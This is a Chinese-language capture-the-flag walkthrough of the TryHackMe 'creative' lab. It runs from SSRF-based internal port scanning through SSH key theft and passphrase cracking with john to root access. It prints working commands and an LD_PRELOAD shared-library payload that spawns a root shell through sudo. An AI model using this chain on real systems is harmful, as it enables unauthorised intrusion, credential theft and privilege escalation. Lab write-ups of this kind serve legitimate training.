tryhackme--creative靶场wp
TryHackMe creative
nmap扫描发现开放80和22端口

访问ip地址,却出现如下报错:

去搜索相关资料得知,可能是服务端强制使用特定域名访问,使用IP会导致无法正确解析域名,从而拒绝连接。
在/etc/hosts/中添加域名与ip的映射:echo "<ip> creative.thm" >> /etc/hosts,再次访问成功进入页面:

在这个页面没有发现特别的信息,目录扫描也只得到一个/assets

既然目录扫描无果,可以尝试一下扫描该域名下是否有子域名。
使用gobuster扫描子域名:gobuster vhost -u http://creative.thm -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
--append-domain 参数用于 在枚举的子域名前自动追加主域名
可以发现存在子域名beta.creative.thm

同样现在/etc/hosts文件中添加映射关系后再访问beta.creative.thm

这是一个可以检测url是否存在的网站,但是当我们向它请求一些敏感文件时(如file:///etc/passwd),它会返回dead。
尝试请求它的本地,可以发现它可以成功连接上。


这时我们寻找它本地有没有隐藏的端口,不对外开放但是内部可以互相通信。这样我们就可以通过这个访问到。
使用ssrf map进行隐藏端口的检测。
ssrfmap基本使用方法:Python3 ssrfmap.py -r 漏洞的http包 -p 指定存在漏洞的参数 -m readfiles/portscan,其中readfiles为读取文件,portscan为扫描端口
用burp抓包并复制请求包保存为request.txt

执行python ssrfmap.py -r request.txt -p url -m portscan命令,得到有1337端口开放

访问该端口,发现是一个名为saad的用户的系统根目录。我们可以在/home/saad/user.txt中找到用户flag。
在/home/saad/.ssh/id_rsa中,我们找到ssh连接的私钥,复制到本地保存并尝试ssh连接(这里最好查看源代码复制,不容易出现格式错误),却提示id_rsa需要密码。

使用工具john来破解id_rsa的密码。这个工具先将某一格式转换为john能理解的密文,再进行破解:
/usr/share/john/ssh2john.py id_rsa > hash.txt
john hash.txt wordlist=/usr/share/wordlists/rockyou.txt,得到密码为sweetness

使用密码成功进行ssh连接。

使用sudo -l,却需要密码。
在当前目录下,执行命令ls -a发现一个历史文件(-a 可以让我们看到被隐藏的文件),查看在里面发现sudo密码

使用该密码执行sudo -l命令,

我们可以以root身份执行ping命令,但这似乎没什么用。注意到另一个东西:env_keep+=LD_PRELOAD。
去网上搜索相关信息,发现这似乎存在一种提权方式。
ld_preload是可以用来指定我们在执行程序的时候链接哪个库,如果我们编写一个自定义的恶意的库并指定以这个库执行命令,就可以触发恶意代码。
在/tmp目录下创建shell.c文件并写入如下代码:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("/bin/bash -p"); // -p 保留 root 权限
}
再将它编译:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
再指定shell.so为LD_PRELOAD,执行ping命令:sudo LD_PRELOAD=/tmp/shell.so ping,得到root权限。

成功提权。在root目录下查看根flag。

浙公网安备 33010602011771号